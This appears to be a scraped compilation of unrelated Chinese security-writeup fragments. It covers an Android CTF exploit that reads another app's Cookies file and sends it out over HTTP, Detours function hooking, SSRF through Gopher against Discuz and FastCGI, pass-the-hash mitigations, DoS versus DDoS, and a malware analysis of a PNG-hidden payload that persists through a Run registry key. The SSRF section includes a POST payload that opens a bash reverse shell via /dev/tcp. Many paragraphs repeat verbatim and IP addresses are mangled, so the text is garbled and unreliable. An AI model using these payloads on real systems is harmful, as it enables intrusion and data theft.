构造需要Vulnerable.java转发的Intent类evil,然后将evil序列化后放入跳转到Vulnerable的intent的Extra属性中。注意,evil的Flags要设置为3,这样被跳转的pwn就获得了文件临时读写权限。
如此便构造了一个嵌套的Intent。
通过嵌套的Intent以及Vulnerable中的重定向漏洞,从pwn跳转到Vulnerable,再从Vulnerable把intent的Extra反序列化为Intent类跳转到pwn。使pwn获得临时读写com.bytectf.babydroid的权限。
如此便构造了一个嵌套的Intent。
通过嵌套的Intent以及Vulnerable中的重定向漏洞,从pwn跳转到Vulnerable,再从Vulnerable把intent的Extra反序列化为Intent类跳转到pwn。使pwn获得临时读写com.bytectf.babydroid的权限。
TestActivity中Webview的setAllowFileAccess和setJavaScriptEnable都已经打开,所以Webview可以渲染文件因为之前建立好了软链接,通过跳转TestActivity渲染file:///data/data/com.bytectf.pwneasydroid/symlink.html即是渲染/data/data/com.bytectf.easydroid/Cookies。
将Cookies文件中的全部内容作为文本,通过http传出来。
将Cookies文件中的全部内容作为文本,通过http传出来。
Detours hook 流程
Detours hook目标函数的逻辑很简单,就是将目标函数开头的指令换成jmp指令,跳转到我们定义的函数中。主要流程如下,前3步是DetourAttach函数做的事情,第4-5步是DetourCommit做的事情:
计算需要修改目标函数的字节数 n,jmp到新函数地址的指令长度为5个字节,但是目标函数的前5个字节可能不能构成完整的指令。如目标函数的第4个字节到第6个字节构成了一条指令,如果只考虑前5个字节,此条指令将无法正确执行
计算Trampoline(跳板)函数跳转回来的地址:目标函数地址+第1步计算的需要修改的字节数n
构建Trampoline(跳板)函数:找一块空白的内存区域,根据第1步计算的字节数拷贝目标函数的前n个字节,然后加上一条jmp指令,以跳转到第2步所计算出的地址
修改目标函数的前5个字节,以跳转到hook后的函数中。如果第1步计算出来的需要修改的字节数大于5,大于5的部分填上0xCC
会将Trampoline函数的地址addr3 给DetourAttach函数的第一个参数(所以此参数是一个二级指针),因此可以在新函数中通过Trampoline调用原函数
Detours hook目标函数的逻辑很简单,就是将目标函数开头的指令换成jmp指令,跳转到我们定义的函数中。主要流程如下,前3步是DetourAttach函数做的事情,第4-5步是DetourCommit做的事情:
计算需要修改目标函数的字节数 n,jmp到新函数地址的指令长度为5个字节,但是目标函数的前5个字节可能不能构成完整的指令。如目标函数的第4个字节到第6个字节构成了一条指令,如果只考虑前5个字节,此条指令将无法正确执行
计算Trampoline(跳板)函数跳转回来的地址:目标函数地址+第1步计算的需要修改的字节数n
构建Trampoline(跳板)函数:找一块空白的内存区域,根据第1步计算的字节数拷贝目标函数的前n个字节,然后加上一条jmp指令,以跳转到第2步所计算出的地址
修改目标函数的前5个字节,以跳转到hook后的函数中。如果第1步计算出来的需要修改的字节数大于5,大于5的部分填上0xCC
会将Trampoline函数的地址addr3 给DetourAttach函数的第一个参数(所以此参数是一个二级指针),因此可以在新函数中通过Trampoline调用原函数
hook代码如下:由于thiscall是由被调用函数清理参数栈,因此将新函数的调用约定为stdcall。这样除了this指针没有通过ecx传递之外,其余的操作与thiscall相同。如果新函数中需要使用this指针(如调用原函数),需要在函数开头push ecx,将this指针保存在栈上。当需要使用时,pop ecx,将this指针传给ecx以模拟thiscall。注意:push ecx之后堆栈会变化,需要自己维护,在函数结束时保持堆栈平衡,编译器优化会将函数调用约定变为__usercall,这种调用约定传参与fastcall一样,但是无论是调用方还是被调用方都没有清理堆栈,程序可能会崩溃。可以禁用优化,不使用这种调用约定
攻击内网 Vulnerability Web
Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127001 访问的 expphp,内容为:
POST /exp.php HTTP/1.1
Host 127001
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
e=bash -i >%26 /dev/tcp/172.19.23.2282333 0>%261
利用 Discuz SSRF 攻击 FastCGI
Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。
Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127001 访问的 expphp,内容为:
POST /exp.php HTTP/1.1
Host 127001
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
e=bash -i >%26 /dev/tcp/172.19.23.2282333 0>%261
利用 Discuz SSRF 攻击 FastCGI
Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。
缓解传递哈希攻击
强密码策略:鼓励用户创建强而复杂的密码,以增加密码破解的难度。
多重身份验证 (MFA):实施 MFA 以增加额外的安全层,使攻击者更难以入侵帐户。
定期更改密码:强制定期更改密码,以最大限度地减少攻击者使用被盗哈希值的机会。
监控和入侵检测:采用强大的监控和入侵检测系统来检测可疑活动,例如使用传递哈希 (Pass the Hash) 的横向移动。
最小特权:将用户特权限制为其角色所需的特权,以减少成功攻击的潜在影响。
强密码策略:鼓励用户创建强而复杂的密码,以增加密码破解的难度。
多重身份验证 (MFA):实施 MFA 以增加额外的安全层,使攻击者更难以入侵帐户。
定期更改密码:强制定期更改密码,以最大限度地减少攻击者使用被盗哈希值的机会。
监控和入侵检测:采用强大的监控和入侵检测系统来检测可疑活动,例如使用传递哈希 (Pass the Hash) 的横向移动。
最小特权:将用户特权限制为其角色所需的特权,以减少成功攻击的潜在影响。
拒绝服务 (DoS) 攻击使服务器流量过载,从而导致服务器关闭。分布式拒绝服务 (DDoS) 攻击是一种 DoS 攻击,其中大量计算机或机器淹没目标资源。以下是 DoS 和 DDoS 之间的一些区别。
流量:由于 DDoS 攻击使用多台远程计算机(僵尸或机器人),它可能同时从各个地方传输大量流量,从而迅速导致服务器超载并逃避检测。
执行方式: DDoS 攻击使用命令和控制 (C&C) 服务器来协调大量感染恶意软件 (bot) 的主机,从而形成僵尸网络。而DoS 攻击通常使用脚本或工具从单台机器执行。
追根溯源:由于DDoS攻击利用了僵尸网络,追踪真正的来源比追踪DoS攻击的来源要困难得多,从而可能造成额外的危害,甚至可能是灾难性的后果。
易于检测:由于 DoS 攻击来自单一位置,因此很容易识别和终止连接。实际上,一个称职的防火墙就可以做到这一点。另一方面,DDoS 攻击来自多个位置,隐藏了其来源。
攻击速度:由于 DDoS 攻击源自多个地方,因此其部署速度可能比从单个站点发起的 DoS 攻击快得多。攻击速度加快使得检测更加困难
流量:由于 DDoS 攻击使用多台远程计算机(僵尸或机器人),它可能同时从各个地方传输大量流量,从而迅速导致服务器超载并逃避检测。
执行方式: DDoS 攻击使用命令和控制 (C&C) 服务器来协调大量感染恶意软件 (bot) 的主机,从而形成僵尸网络。而DoS 攻击通常使用脚本或工具从单台机器执行。
追根溯源:由于DDoS攻击利用了僵尸网络,追踪真正的来源比追踪DoS攻击的来源要困难得多,从而可能造成额外的危害,甚至可能是灾难性的后果。
易于检测:由于 DoS 攻击来自单一位置,因此很容易识别和终止连接。实际上,一个称职的防火墙就可以做到这一点。另一方面,DDoS 攻击来自多个位置,隐藏了其来源。
攻击速度:由于 DDoS 攻击源自多个地方,因此其部署速度可能比从单个站点发起的 DoS 攻击快得多。攻击速度加快使得检测更加困难
COM组件权限维持持久化
样本加载 aut.png 中的恶意代码,通过恶意代码利用 COM 组件创建多个快捷方式,并释放 Registry Workshop 注册表管理工具。接着,样本利用该注册表管理工具创建reg格式注册表配置文件并通过快捷方式附加参数reg配置文件路径,实现注册表权限的维持,从而确保恶意代码能够在系统中持久化存在。
对libcef.dll分析发现,该样本通过图片隐写技术,将恶意代码嵌入到 aut.png 图片文件中的辅助数据块区段,并隐藏了一个完整的 PE 文件。将 aut.png 中的恶意代码 dump 出来后发现恶意代码是一个 PE 文件,对其进行静态分析发现,恶意代码首先采用 com 组件进行创建快捷方式,随后通过修改注册表 HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 添加注册表启动项
样本加载 aut.png 中的恶意代码,通过恶意代码利用 COM 组件创建多个快捷方式,并释放 Registry Workshop 注册表管理工具。接着,样本利用该注册表管理工具创建reg格式注册表配置文件并通过快捷方式附加参数reg配置文件路径,实现注册表权限的维持,从而确保恶意代码能够在系统中持久化存在。
对libcef.dll分析发现,该样本通过图片隐写技术,将恶意代码嵌入到 aut.png 图片文件中的辅助数据块区段,并隐藏了一个完整的 PE 文件。将 aut.png 中的恶意代码 dump 出来后发现恶意代码是一个 PE 文件,对其进行静态分析发现,恶意代码首先采用 com 组件进行创建快捷方式,随后通过修改注册表 HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 添加注册表启动项